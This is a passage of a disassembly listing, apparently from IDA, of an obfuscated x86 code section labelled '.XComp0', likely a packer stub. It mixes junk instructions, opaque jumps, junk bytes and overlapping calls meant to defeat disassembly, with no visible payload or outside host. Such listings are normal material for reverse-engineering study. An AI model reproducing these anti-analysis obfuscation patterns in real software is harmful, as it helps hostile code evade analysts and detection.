1782h dd 12E900h, 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h dd 0C35979A0h, 0E9815BB3h, 722FA6BCh, 0C8B4EA81h, 840F4E30h dd 8, 28F0Fh, 61600000h, 4850Fh, 0B8660000h, 3ABF1BB6h dd 0BF43A5F2h, 6FEDA8A0h, 13E8F18Bh, 55000000h, 0E0B65CE1h dd 27E4738Eh, 7B549E9h, 782D4F5Fh, 0BF60F9D7h, 66A749B7h dd 0FEFED081h, 586104FFh, 14E9h, 0E4073400h, 0B6FFC6BBh dd 7AD03891h, 2AA18243h, 228C8A39h, 0F2EB4E9h, 0BF66D2BFh dd 816614ECh, 805082DFh, 9E950CFh, 0CC000000h, 7521E98Fh dd 32577986h, 9840Fh, 840F0000h, 3, 66D0B70Fh, 0DE9F18Bh dd 7A000000h, 2D466CBh, 4216E0EEh, 2EA1DE0Fh, 8B66EBB3h dd 5E8F1h, 35310000h, 669168ADh, 535BD38Bh, 0C5F8B966h dd 0C68B665Ah, 0AE9h, 1278C00h, 70463397h, 50BE8EC5h, 2860Fh dd 61600000h, 0A820F58h, 60000000h, 0D57B79BFh, 0C88B6669h dd 81666061h, 0E9380CE2h, 8, 0D12E9B48h, 3EDDB169h, 0F88B6661h dd 6082EB80h, 1860Fh, 61F80000h, 0E9C6B70Fh, 0Bh, 77AC21CEh dd 8FFC6280h, 0BA9B6299h, 5EE8DDABh, 0C9DA8166h, 12E828h dd 3F050000h, 262B8CC9h, 0ABEF1BADh, 768860C9h, 6D8D1F3Dh dd 0E684BB66h, 8E85Eh, 3F210000h, 96E4B475h, 6E9B32Ch dd 8C000000h, 5E9E7BB3h, 0BF0F5F6Ch, 0B8B966D9h, 66F860F1h dd 6661D98Bh, 664EE3BEh, 6001EFBAh, 61CEB70Fh, 5800Fh dd 6BBF0000h, 0F3C52B7h, 88Dh, 860F6000h, 0 ; --------------------------------------------------------------------------- popa jb loc_608C64 add bx, 0CBA7h loc_608C64: ; CODE XREF: .XComp0:00608C59j adc eax, 2017C5D1h sbb edi, 59C86AF4h mov bl, 0A9h jmp loc_608C86 ; --------------------------------------------------------------------------- db 0F6h dd 8FD7DE8Dh, 0A23D6B4Ah, 0B7418C3Fh db 0E7h, 18h ; --------------------------------------------------------------------------- loc_608C86: ; CODE XREF: .XComp0:00608C72j jmp loc_608C94 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- dec eax add [edx], esi inc esi adc esi, edi aas dec eax loc_608C94: ; CODE XREF: .XComp0:loc_608C86j mov dx, ax mov bx, dx mov al, dl push esi add ecx, 752E47EFh loc_608CA3: ; CODE XREF: .XComp0:00608CACj pop edx stc jmp loc_608CB7 ; --------------------------------------------------------------------------- stc push edx loop loc_608CA3 retf 5937h ; --------------------------------------------------------------------------- db 21h, 45h, 33h db 8Ch, 95h, 0FFh ; --------------------------------------------------------------------------- loc_608CB7: ; CODE XREF: .XComp0:00608CA5j mov edi, 25A23B49h mov ax, cx sub dx, 0B75Bh mov si, 706h and ecx, 5881B40h push esi pusha mov dl, 38h popa pop ecx mov edi, 41E35AC8h jns loc_608CE5 sbb eax, 0E4D1A29h loc_608CE5: ; CODE XREF: .XComp0:00608CD9j mov bx, di pusha jnp loc_608D01 jmp loc_608D01 ; --------------------------------------------------------------------------- dd 3AD5E69Ch, 7795D43Fh, 0B6F09F73h ; --------------------------------------------------------------------------- pop esp loc_608D01: ; CODE XREF: .XComp0:00608CE9j ; .XComp0:00608CEFj mov eax, 1267A546h popa push ebx mov ax, cx pop edx movsx ecx, bx jb loc_608D17 mov esi, eax loc_608D17: ; CODE XREF: .XComp0:00608D0Fj mov cx, bx mov eax, ebx jmp loc_608D28 ; --------------------------------------------------------------------------- db 22h, 5Fh, 0B0h dd 0D32FF96Fh ; --------------------------------------------------------------------------- loc_608D28: ; CODE XREF: .XComp0:00608D1Cj jmp loc_608D32 ; --------------------------------------------------------------------------- db 4Ah, 36h, 0A7h db 0C8h, 2Eh ; --------------------------------------------------------------------------- loc_608D32: ; CODE XREF: .XComp0:loc_608D28j jmp loc_608D47 ; --------------------------------------------------------------------------- db 73h dd 32AD07E3h, 0BAD91CFAh, 28853519h db 5Eh, 0F6h, 0C9h ; --------------------------------------------------------------------------- loc_608D47: ; CODE XREF: .XComp0:loc_608D32j mov dh, 0C2h mov di, ax pusha jnp loc_608D57 mov ax, 7457h loc_608D57: ; CODE XREF: .XComp0:00608D4Dj mov ebx, 5AA1BADh popa jmp loc_608D67 ; --------------------------------------------------------------------------- dw 6064h db 5Dh, 6, 63h ; --------------------------------------------------------------------------- loc_608D67: ; CODE XREF: .XComp0:00608D5Dj cmc jg loc_608D7F jmp loc_608D7F ; --------------------------------------------------------------------------- db 0C0h dd 72981DEDh, 0B2DE2EDEh db 0FBh, 2Dh, 6Ch ; --------------------------------------------------------------------------- loc_608D7F: ; CODE XREF: .XComp0:00608D68j ; .XComp0:00608D6Ej jg loc_608D89 mov dx, 8D53h loc_608D89: ; CODE XREF: .XComp0:loc_608D7Fj xor cx, 5603h jns loc_608D9F ja loc_608D9F mov edx, 567F6D63h loc_608D9F: ; CODE XREF: .XComp0:00608D8Ej ; .XComp0:00608D94j mov si, 0F03Fh mov ecx, 212E9732h mov cl, 6Fh call loc_608DB6 cmp al, 35h retf 3E77h ; --------------------------------------------------------------------------- db 1Fh, 84h ; --------------------------------------------------------------------------- loc_608DB6: ; CODE XREF: .XComp0:00608DAAp adc edi, 703341E6h pop eax sbb bh, 0FDh mov dh, 0Fh pusha adc edi, 1DFC7E88h sbb bl, 0A7h popa mov cx, dx pusha mov ebx, eax popa mov di, ax pusha clc mov ebx, 3DEFA06Ah popa and si, 0FABCh mov dx, 0EA68h mov esi, ebx adc ecx, 2636281h jmp loc_608E04 ; --------------------------------------------------------------------------- db 28h, 9Dh, 0B6h dd 2E5F2067h, 0C21D1FCDh, 98A89D52h ; --------------------------------------------------------------------------- loc_608E04: ; CODE XREF: .XComp0:00608DF0j movsx edx, si js loc_608E24 jbe loc_608E24 call loc_608E23 jnb short loc_608E46 ; --------------------------------------------------------------------------- dw 2CFEh dd 1E3155Bh db 3Bh, 0DCh, 2 ; --------------------------------------------------------------------------- loc_608E23: ; CODE XREF: .XComp0:00608E13p pop eax loc_608E24: ; CODE XREF: .XComp0:00608E07j ; .XComp0:00608E0Dj xor edx, 28806E81h jbe loc_608E35 mov edi, 4B3E98F6h loc_608E35: ; CODE XREF: .XComp0:00608E2Aj pusha push ecx pop eax jns near ptr loc_608E4A+6 jmp near ptr loc_608E4A+6 ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- fcomp st(7) loc_608E46: ; CODE XREF: .XComp0:00608E18j db 64h and edx, ebp out dx, eax loc_608E4A: ; CODE XREF: .XComp0:00608E38j ; .XComp0:00608E3Ej rcl byte ptr ds:66CD7F3Ah, 61h pusha push edx pop ecx sbb ax, 0E44Ch popa movzx ebx, di jle loc_608E74 jmp loc_608E74 ; --------------------------------------------------------------------------- dd 296725A1h, 187D96C7h, 0F69DE8A0h ; --------------------------------------------------------------------------- loc_608E74: ; CODE XREF: .XComp0:00608E5Dj ; .XComp0:00608E63j mov edi, 3A52D153h jmp loc_608E86 ; --------------------------------------------------------------------------- dw 714Dh db 90h ; --------------------------------------------------------------------------- shl byte ptr [ecx], cl mov [ecx+4Fh], ah loc_608E86: ; CODE XREF: .XComp0:00608E79j pusha jmp loc_608E9B ; --------------------------------------------------------------------------- dd 44357E45h, 0A24008F3h, 7DB86224h db 0DAh, 9, 6Fh ; --------------------------------------------------------------------------- loc_608E9B: ; CODE XREF: .XComp0:00608E87j mov si, dx popa push esi pop ecx mov cx, 43Fh jmp loc_608EB8 ; --------------------------------------------------------------------------- dw 8FF3h dd 86557596h, 0E4CF8259h, 7CB9B5C3h ; --------------------------------------------------------------------------- loc_608EB8: ; CODE XREF: .XComp0:00608EA5j ja loc_608EC4 xor edi, 655A3987h loc_608EC4: ; CODE XREF: .XComp0:loc_608EB8j sbb al, 82h jmp loc_608EDD ; --------------------------------------------------------------------------- dd 0BB9F644Dh, 4BCA51F3h, 78FC85C1h, 9DF547ECh db 0A1h ; --------------------------------------------------------------------------- loc_608EDD: ; CODE XREF: .XComp0:00608EC7j mov edi, 2A57080h pusha and bx, 327Bh movzx edi, si popa add bh, 0D6h pusha and edx, 356CED61h mov di, si popa jz $+6 jge loc_608F0C sub esi, 255F8447h loc_608F0C: ; CODE XREF: .XComp0:00608F00j mov dx, si jmp loc_608F28 ; --------------------------------------------------------------------------- dd 456347FAh, 2F89F8ADh, 3F4EED63h, 84A02498h, 6437EF17h ; --------------------------------------------------------------------------- loc_608F28: ; CODE XREF: .XComp0:00608F0Fj mov ecx, 54DFBEB5h mov ecx, 5D9C638Ah or dx, 4EBAh sub cl, 15h jmp loc_608F48 ; --------------------------------------------------------------------------- db 0B0h dd 0C727222Ah, 49077F34h ; --------------------------------------------------------------------------- loc_608F48: ; CODE XREF: .XComp0:00608F3Aj mov ebx, 5E1C73Fh cmc mov edi, ecx jge loc_608F5A mov si, 8619h loc_608F5A: ; CODE XREF: .XComp0:00608F50j mov ecx, 69C3A556h mov cx, di movzx esi, cx jmp loc_608F78 ; --------------------------------------------------------------------------- dw 9F11h dd 42D3994Eh, 8C7AABAAh, 363211B2h ; --------------------------------------------------------------------------- loc_608F78: ; CODE XREF: .XComp0:00608F65j jb loc_608F80 mov edi, eax loc_608F80: ; CODE XREF: .XComp0:loc_608F78j or eax, 2065ACF7h call near ptr loc_608F8D+3 pushf push cs loc_608F8D: ; CODE XREF: .XComp0:00608F86p or edx, 24F6819Bh mov ah, 7Ch and ebx, [edx-80h] aam 0B4h sbb cx, 3F26h adc ah, 6Fh mov bl, 65h mov ax, cx jmp loc_608FB9 ; --------------------------------------------------------------------------- dd 0D882984Dh, 0EECB6229h, 5806F0CFh ; --------------------------------------------------------------------------- cli loc_608FB9: ; CODE XREF: .XComp0:00608FA7j jmp loc_608FD0 ; --------------------------------------------------------------------------- dw 10FCh dd 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh ; --------------------------------------------------------------------------- loc_608FD0: ; CODE XREF: .XComp0:loc_608FB9j jnb loc_608FEC jmp loc_608FEC ; --------------------------------------------------------------------------- or [ebx+24D08260h], al cwde rcl ebx, cl cld mov ss, word ptr [edi] dec ecx pop ebx push eax xor al, 6 loc_608FEC: ; CODE XREF: .XComp0:loc_608FD0j ; .XComp0:00608FD6j movsx edi, ax mov bh, ch cld jmp loc_60900A ; --------------------------------------------------------------------------- db 0A3h dd 4160984Bh db 3, 0BAh, 8Bh ; --------------------------------------------------------------------------- loc_608FFF: ; CODE XREF: .XComp0:00609057j mov ecx, 0DC3E627Ah mov bh, 18h cli stosb rep push ss loc_60900A: ; CODE XREF: .XComp0:00608FF2j mov di, si call near ptr loc_609013+4 pop ebx loc_609013: ; CODE XREF: .XComp0:0060900Dp test eax, 6051B2CCh and al, 0EAh jg $+6 popa pop edx and ebx, 31F05A53h jbe loc_609034 mov ecx, 17A38211h loc_609034: ; CODE XREF: .XComp0:00609029j sbb eax, 43D0160Dh call near ptr loc_609041+4 sbb al, 0EEh loc_609041: ; CODE XREF: .XComp0:0060903Ap call far ptr 5BF8h:8A22C785h jb loc_60904F cmc loc_60904F: ; CODE XREF: .XComp0:00609048j movzx esi, cx call sub_60906A loopne loc_608FFF dec edx dec esp sti aaa and bh, cl xchg eax, edx dec edi mov byte ptr [ebx], 4Eh pop ebp xchg eax, esp cwde arpl sp, sp pop ss ; =============== S U B R O U T I N E ======================================= sub_60906A proc near ; CODE XREF: .XComp0:00609052p ; FUNCTION CHUNK AT 0060910A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00609122 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00609134 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00609140 SIZE 00000011 BYTES mov cl, bl pop edi jmp loc_609086 ; --------------------------------------------------------------------------- dw 0B014h dd 86124D8Ah, 0DED39598h, 726135DDh, 1B6FA28Dh db 0A1h, 0C1h ; --------------------------------------------------------------------------- loc_609086: ; CODE XREF: sub_60906A+3j jnz loc_609090 push ecx pusha popa pop ebx loc_609090: ; CODE XREF: sub_60906A:loc_609086j sub ch, 26h push ecx pop ebx jmp loc_6090A6 ; --------------------------------------------------------------------------- dw 3DC0h dd 0EDB0CDF9h, 0F96CDCCDh db 7Eh, 81h ; --------------------------------------------------------------------------- loc_6090A6: ; CODE XREF: sub_60906A+2Bj jmp loc_6090BB ; --------------------------------------------------------------------------- db 26h dd 0A3F827CDh, 0D7B4BE1Dh, 32158895h db 0F2h, 6Fh, 2Bh ; --------------------------------------------------------------------------- loc_6090BB: ; CODE XREF: sub_60906A:loc_6090A6j mov ebx, 2E2E217Bh sbb dh, 0Ch push ecx jmp loc_6090D0 ; --------------------------------------------------------------------------- and [eax-37h], ecx mov bh, 0DFh dec ebp xchg eax, ebp loc_6090D0: ; CODE XREF: sub_60906A+5Aj pop edi sbb dh, 4Ch mov cx, di call near ptr loc_6090E6+5 jle short loc_60910A fcmovnu st, st(2) pop es cmp cl, [ecx-20h] fucomi st, st(6) loc_6090E6: ; CODE XREF: sub_60906A+6Dp fistp qword ptr [edx+60D9CA2Fh] sub_60906A endp ; sp-analysis failed mov bx, 5042h cld popa pop edi mov cx, dx mov esi, eax mov edx, 309FA927h mov eax, edx mov ch, 0CDh mov edx, ecx mov al, cl mov edx, 12614537h ; START OF FUNCTION CHUNK FOR sub_60906A loc_60910A: ; CODE XREF: sub_60906A+72j jmp loc_609122 ; END OF FUNCTION CHUNK FOR sub_60906A ; --------------------------------------------------------------------------- pop ecx sbb ah, bh inc ebp cmp [ebx], esi and [ebx-36177348h], ch xchg eax, edi sub eax, [ebx-73EE1BABh] ; START OF FUNCTION CHUNK FOR sub_60906A loc_609122: ; CODE XREF: sub_60906A:loc_60910Aj movsx esi, dx jmp loc_609134 ; END OF FUNCTION CHUNK FOR sub_60906A ; --------------------------------------------------------------------------- dw 0ABACh dd 0B12FE754h, 8D9C552Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60906A loc_609134: ; CODE XREF: sub_60906A+BBj cmc jmp loc_609140 ; END OF FUNCTION CHUNK FOR sub_60906A ; --------------------------------------------------------------------------- dw 84EDh dd 0BF33BE02h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60906A loc_609140: ; CODE XREF: sub_60906A+CBj mov cx, 0B1C0h call loc_609151 pop es sbb eax, 0AB70E7Ah mov ebp, ecx ; END OF FUNCTION CHUNK FOR sub_60906A loc_609151: ; CODE XREF: sub_60906A+DAp jnb loc_60915A movsx esi, dx loc_60915A: ; CODE XREF: .XComp0:loc_609151j pop esi mov di, 4777h adc dx, 0AEDDh mov edx, esi adc di, 0BCF1h mov ah, dl add al, 69h mov bx, 666Ah add al, 34h js loc_609182 xor ax, 5AA9h loc_609182: ; CODE XREF: .XComp0:00609177j jmp loc_609194 ; --------------------------------------------------------------------------- db 94h dd 2E570565h, 2EEF7815h, 129F05DDh ; --------------------------------------------------------------------------- loc_609194: ; CODE XREF: .XComp0:loc_609182j movsx edx, si mov ch, 4Ah mov esi, 225C77Eh jnp $+6 sub dx, 129Bh mov dx, 0CC16h or dh, 0EAh xor al, 7Eh adc eax, 1C274612h jo loc_6091CB jbe loc_6091CB adc eax, 740AE692h loc_6091CB: ; CODE XREF: .XComp0:006091B9j ; .XComp0:006091BFj mov edx, 377CAD77h xor bx, 5D10h jmp loc_6091E4 ; --------------------------------------------------------------------------- pop ebx cmp al, 0BCh jle short loc_60924D push esi loc_6091E0: ; CODE XREF: .XComp0:0060920Bj pop edi ; --------------------------------------------------------------------------- db 0C4h, 8Fh, 0D1h ; --------------------------------------------------------------------------- loc_6091E4: ; CODE XREF: .XComp0:006091D5j mov al, bl mov dl, bh jnb loc_6091F7 jp loc_6091F7 mov cx, bx loc_6091F7: ; CODE XREF: .XComp0:006091E8j ; .XComp0:006091EEj push edi pusha and ax, 0B64h jle $+6 popa pop esi call sub_60921B jnb short loc_6091E0 pushf xchg eax, ebx fxch7 st(1) insb hlt ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- cld pop ecx push 88F8769Dh ; =============== S U B R O U T I N E ======================================= sub_60921B proc near ; CODE XREF: .XComp0:00609206p jo loc_609225 mov si, 5E95h loc_609225: ; CODE XREF: sub_60921Bj pop ebx mov al, 6Bh cld mov bl, 0B5h movzx ebx, si call near ptr loc_609235+3 scasd inc ecx loc_609235: ; CODE XREF: sub_60921B+13p lock cmp [ecx+0F870Fh], ch sub_60921B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 9E80000h, 5F000000h, 0CBE780E2h, 0FD3894BDh ; --------------------------------------------------------------------------- pop edi loc_60924D: ; CODE XREF: .XComp0:006091DDj pop esi pusha call near ptr sub_60925E test [edx], bh test al, 5Fh db 26h test eax, 0B8F568E1h ; =============== S U B R O U T I N E ======================================= sub_60925E proc far ; CODE XREF: .XComp0:0060924Fp mov esi, ecx pop edi sbb bl, 0CEh popa mov edi, edx movzx ebx, si jmp loc_60927E ; --------------------------------------------------------------------------- db 9Ah dd 60B25519h, 28296EDBh, 71F59312h db 28h, 8Ah ; --------------------------------------------------------------------------- loc_60927E: ; CODE XREF: sub_60925E+Cj add bl, 30h mov cl, bl mov eax, 17BFB5E8h jp loc_60928F clc loc_60928F: ; CODE XREF: sub_60925E+2Aj mov ch, 0F4h js loc_6092AD jmp loc_6092AD ; --------------------------------------------------------------------------- dd 1EAC7286h, 172320BBh, 0D5E16C84h, 0CF91B71Bh db 7Dh ; --------------------------------------------------------------------------- loc_6092AD: ; CODE XREF: sub_60925E+33j ; sub_60925E+39j jmp loc_6092BC ; --------------------------------------------------------------------------- dw 4479h ; --------------------------------------------------------------------------- inc edi pop ebp xchg eax, ebx db 2Eh jns short loc_609329 test al, 0BAh loc_6092BC: ; CODE XREF: sub_60925E:loc_6092ADj or ebx, 5E46BE64h jmp loc_6092CE ; --------------------------------------------------------------------------- db 0B5h dd 8A98C502h db 0A5h, 4 ; --------------------------------------------------------------------------- loc_6092CE: ; CODE XREF: sub_60925E+64j mov si, ax push ebx mov cx, dx pop edx stc xor si, 6D1Ah mov esi, 6FB18CC1h jmp loc_6092F0 ; --------------------------------------------------------------------------- dw 3451h dd 1E157C11h, 0CAFEA2A2h ; --------------------------------------------------------------------------- loc_6092F0: ; CODE XREF: sub_60925E+83j sub ch, 0E8h pusha jmp loc_60930B ; --------------------------------------------------------------------------- sbb [eax-3Fh], ah int 3 ; Trap to Debugger retf 0BA78h ; --------------------------------------------------------------------------- dd 0A5C05FB2h, 0B5E78AC2h db 55h, 46h, 0B2h ; --------------------------------------------------------------------------- loc_60930B: ; CODE XREF: sub_60925E+96j jz loc_609329 jmp loc_609329 ; --------------------------------------------------------------------------- dw 0BFC8h dd 96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h db 88h ; --------------------------------------------------------------------------- loc_609329: ; CODE XREF: sub_60925E+59j ; sub_60925E:loc_60930Bj ... popa add edx, 3A7215D7h mov ax, 0B081h mov edi, 72257169h jmp loc_60934F ; --------------------------------------------------------------------------- dw 547h dd 0BAF48AF1h, 0CF297F76h, 52528905h db 8Dh, 82h, 0FBh ; --------------------------------------------------------------------------- loc_60934F: ; CODE XREF: sub_60925E+DBj mov si, dx jg $+6 mov edx, 3F21CE48h mov eax, ebx jmp loc_60936A ; --------------------------------------------------------------------------- dd 5002AE0Dh db 75h, 0EFh ; --------------------------------------------------------------------------- loc_60936A: ; CODE XREF: sub_60925E+101j or ax, 0AEB7h mov edi, ecx call near ptr loc_609387+1 leave rol byte ptr [eax+0Ch], cl inc esi fild dword ptr [esi+esi*4] clc dec eax mov byte ptr [esi], 0D8h cmc test al, 0A0h pop eax loc_609387: ; CODE XREF: .XComp0:006093A1j ; sub_60925E+113p add al, 53h sub_60925E endp ; sp-analysis failed mov bx, cx pop edi pop ebx mov edx, 2A2CFE9h jg loc_6093A5 jmp loc_6093A5 ; --------------------------------------------------------------------------- dec esi setalc dec esi jb short loc_609387 inc esp inc eax loc_6093A5: ; CODE XREF: .XComp0:00609393j ; .XComp0:00609399j jb loc_6093C1 jmp loc_6093C1 ; --------------------------------------------------------------------------- dd 34A9752h, 32169075h, 0B4FA9AF5h, 39AC03B3h db 0F4h ; --------------------------------------------------------------------------- loc_6093C1: ; CODE XREF: .XComp0:loc_6093A5j ; .XComp0:006093ABj mov di, bx jmp loc_6093D8 ; --------------------------------------------------------------------------- mov dh, 36h mov ebx, 0F179C8D8h setalc pop edi inc esp pop ebp add bl, ch mov cl, 69h loc_6093D8: ; CODE XREF: .XComp0:006093C4j or di, 8BDh jmp loc_6093EE ; --------------------------------------------------------------------------- db 5Bh ; --------------------------------------------------------------------------- loc_6093E3: ; CODE XREF: .XComp0:loc_6093E3j jbe short loc_6093E3 ; --------------------------------------------------------------------------- db 36h, 73h, 2Ch dd 155B2CFEh db 0E3h, 1 ; --------------------------------------------------------------------------- loc_6093EE: ; CODE XREF: .XComp0:006093DDj mov eax, edx jno loc_6093FE jbe loc_6093FE pusha popa loc_6093FE: ; CODE XREF: .XComp0:006093F0j ; .XComp0:006093F6j jns loc_60940E jmp loc_60940E ; --------------------------------------------------------------------------- db 10h, 88h, 6 db 0A0h, 0D6h ; --------------------------------------------------------------------------- loc_60940E: ; CODE XREF: .XComp0:loc_6093FEj ; .XComp0:00609404j mov dl, 0DEh jmp loc_609423 ; --------------------------------------------------------------------------- db 55h, 0F2h, 8 dd 0E57777C9h, 38DBDA37h db 6Ah, 51h, 0E3h ; --------------------------------------------------------------------------- loc_609423: ; CODE XREF: .XComp0:00609410j pusha ja loc_60942D movzx eax, dx loc_60942D: ; CODE XREF: .XComp0:00609424j popa mov di, 4D61h xor esi, 1FAAEDD5h movsx edi, cx mov edx, 6B3509EDh jp loc_609447 clc loc_609447: ; CODE XREF: .XComp0:00609440j jz loc_609453 sub edx, 5B741A84h loc_609453: ; CODE XREF: .XComp0:loc_609447j mov ah, 0F1h mov dl, 8Ch call sub_609468 cmp ebp, [edx-0Eh] mov bh, 5Eh dec ebx xchg eax, ebp movsb ; --------------------------------------------------------------------------- dd 24854FEh ; =============== S U B R O U T I N E ======================================= sub_609468 proc near ; CODE XREF: .XComp0:00609457p pusha mov ebx, 715E58FEh mov edx, 22820652h popa pop edi mov bh, 0F4h call sub_60948A mov edi, 79D7F8FBh push esi inc eax pusha cdq sub eax, 2DE59592h sub_609468 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60948A proc near ; CODE XREF: sub_609468+Fp mov esi, edi pop ebx loc_60948D: ; CODE XREF: .XComp0:006094EBj sub dx, 972Ch mov dx, 0B15h pusha ja $+6 mov bh, 0D0h popa push ecx pop eax add ecx, 2B8042B1h jz loc_6094BA jmp loc_6094BA ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- add ebx, [ebx+63739BDBh] loc_6094BA: ; CODE XREF: sub_60948A+1Ej ; sub_60948A+24j movsx esi, di movzx ecx, di mov edx, 47823F6Bh pusha push esi jz $+6 pop ecx call near ptr loc_6094DD+2 add bl, ah add dh, [ebx] inc ebx add eax, 7C795DE5h loc_6094DD: ; CODE XREF: sub_60948A+44p mov ebp, 5ED48AEFh sub_60948A endp ; sp-analysis failed popa pusha call loc_6094FA jbe short near ptr sub_609530+4 jz short loc_60948D xor al, 0D6h movsb add dword ptr [eax+393C060Ch], 0E098CB64h loc_6094FA: ; CODE XREF: .XComp0:006094E4p xor cx, 2513h pop esi popa movzx edi, ax adc ax, 4A93h push edi jmp loc_609519 ; --------------------------------------------------------------------------- sbb bl, [ebx] mov ds:0EE0E933Dh, al xchg eax, esp shr dword ptr [edi], cl loc_609519: ; CODE XREF: .XComp0:0060950Aj pop eax call sub_609530 sbb cl, bl ; --------------------------------------------------------------------------- db 8Eh, 4Ah, 0A4h dd 7FD81845h, 17A52FDBh, 71889126h ; =============== S U B R O U T I N E ======================================= sub_609530 proc near ; CODE XREF: .XComp0:0060951Ap ; .XComp0:006094E9j mov eax, 2B019B34h pop ecx jmp loc_609547 ; --------------------------------------------------------------------------- db 38h dd 34860686h, 0A12492Ch db 98h, 9, 0BDh ; --------------------------------------------------------------------------- loc_609547: ; CODE XREF: sub_609530+6j mov eax, 305E5F0h adc ebx, 710B7559h mov esi, ebx pusha adc edi, 60B163C7h cld popa or edi, 1B2D1288h mov bh, dl jmp loc_609576 ; --------------------------------------------------------------------------- dw 7C32h dd 205D420Ch, 8F9A98B5h db 57h, 78h ; --------------------------------------------------------------------------- loc_609576: ; CODE XREF: sub_609530+35j mov ecx, esi js loc_609583 mov ebx, 140F22C8h loc_609583: ; CODE XREF: sub_609530+48j mov esi, 41A75C1Dh mov edi, 1C610A6Eh movsx edi, bx mov esi, eax push edi pusha mov di, bx call near ptr loc_60959F+6 nop das inc eax loc_60959F: ; CODE XREF: sub_609530+67p sbb dword ptr [eax-10C55A18h], 5Ah sub_609530 endp ; sp-analysis failed popa pop ecx cld and ebx, 0F6A4BACh pusha mov dh, 0D8h ja loc_6095BB movzx edx, dx loc_6095BB: ; CODE XREF: .XComp0:006095B2j popa mov ah, 1Fh mov di, 0F894h cmc pusha xor edi, 4BD50726h popa mov si, dx mov cx, ax pusha movzx esi, di call near ptr loc_6095E6+1 xor eax, 1CE2636Eh popa sbb esp, [ebx-0FCCF62Ah] loc_6095E6: ; CODE XREF: .XComp0:006095D5p jp short loc_60964E mov esi, 615A5C65h jg loc_6095F8 mov esi, 6B061AB5h loc_6095F8: ; CODE XREF: .XComp0:006095EDj sub di, 0BF09h add esi, 46B621BEh mov dh, 0F6h jb loc_609610 mov ecx, 165E9F1Ch loc_609610: ; CODE XREF: .XComp0:00609605j jmp loc_609627 ; --------------------------------------------------------------------------- db 0F9h, 0FDh, 63h db 7Bh ; --------------------------------------------------------------------------- loc_609619: ; CODE XREF: .XComp0:loc_60964Ej out dx, al mov edi, 8880236h fist word ptr [eax+eax*8] loc_609622: ; CODE XREF: .XComp0:00609697j add dl, al xchg eax, edi cli ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- loc_609627: ; CODE XREF: .XComp0:loc_609610j jmp loc_60963C ; --------------------------------------------------------------------------- dd 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh, 686FB986h ; --------------------------------------------------------------------------- loc_60963C: ; CODE XREF: .XComp0:loc_609627j jmp loc_609655 ; --------------------------------------------------------------------------- db 3Dh, 0FEh, 0B3h dd 6EF1214Dh, 0E3902867h db 92h, 3Bh ; --------------------------------------------------------------------------- loc_60964E: ; CODE XREF: .XComp0:loc_6095E6j ja short loc_609619 mov ah, 0D8h wait pop esi inc edi loc_609655: ; CODE XREF: .XComp0:loc_60963Cj mov edx, ebx push esi mov dx, 0F34Bh pop edx mov cl, 0ABh sub ax, 932Fh jmp loc_609675 ; --------------------------------------------------------------------------- db 0E5h, 0C7h, 0C2h dd 6FB8D4E4h, 9F726BB1h ; --------------------------------------------------------------------------- stc loc_609675: ; CODE XREF: .XComp0:00609664j movsx esi, dx cmc push eax mov dh, 0D9h pop eax mov ax, cx xor esi, 0D9959F6h call near ptr loc_609699+1 inc eax add al, 85h add [ebp-2Dh], eax dec esi add eax, 7BEAF502h ja short loc_609622 loc_609699: ; CODE XREF: .XComp0:00609686p fmul qword ptr [edx+11E95BCCh] ; --------------------------------------------------------------------------- db 0 dd 3C2E0000h, 8864E881h, 23EB6A2Ah, 2266B130h, 0F9812ECBh dd 68F0Fh, 0CB810000h, 33CC4215h, 0A7B260F9h, 25FA15B9h dd 81666144h, 0E94F23F3h, 0Ah, 0B8BF506Ch, 824FAEB0h, 8B66B035h dd 35C681C3h, 0F0C4C44h, 78Bh, 1840F00h, 0F5000000h, 5870Fh dd 81660000h, 520208EEh, 0BE9h, 0A60600h, 0C62D85A8h, 276D9D89h dd 0D8CE8058h, 8F0F5656h, 0 dd 0F605A58h, 38Eh, 0C3BF0F00h, 840F56h, 59000000h, 0D78B6661h dd 12E860h, 64420000h, 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h dd 0CE58EA80h, 592EDE80h, 7E9h, 0B15D2D00h, 0B24763E9h dd 0F281F961h, 4D8A9679h, 5E9h, 2DA5AD00h, 0C78184E6h dd 21A0658h, 0AE9h, 0EA01D000h, 3483BCCFh, 0F29638Bh, 481h dd 30BE6600h, 0B4BE66F5h, 0AFCE81A1h, 577034E0h, 10E960h dd 71CB0000h, 8A95C9A6h, 1A2960B0h, 2B3EEBD7h, 8B663578h dd 0BB5F61FBh, 5DD140C8h, 0EFD98166h, 0F981BF37h, 7E96FE1h dd 62000000h, 0CA38BB56h, 5856D7FCh, 5CB86660h, 0CE977h dd 7B9D0000h, 61131450h, 0A01F060h, 8B61A555h, 0DE9C8h dd 0CFD80000h, 1162BFBAh, 46F18902h, 6695AE96h, 0BF0FD08Bh dd 0FCAEBADEh, 0D98B7BE0h, 8166CB8Bh, 0FBB3EC8h, 0BE66CBB7h dd 0C381563Fh, 0A1902C4h, 0F6E18166h, 0C1B70FB6h, 0B70F60F8h dd 8E0F57D9h, 0 ; --------------------------------------------------------------------------- pop ebx popa movzx edi, bx mov ecx, 36FF879h jmp loc_609849 ; --------------------------------------------------------------------------- db 47h dd 47DE7DD4h, 541A94C7h db 0F4h ; --------------------------------------------------------------------------- loc_609849: ; CODE XREF: .XComp0:0060983Aj and al, 0D1h add edx, 6A96F5A3h jmp loc_609860 ; --------------------------------------------------------------------------- db 0D8h dd 0F897D0ABh, 0DF7D07B3h ; --------------------------------------------------------------------------- loc_609860: ; CODE XREF: 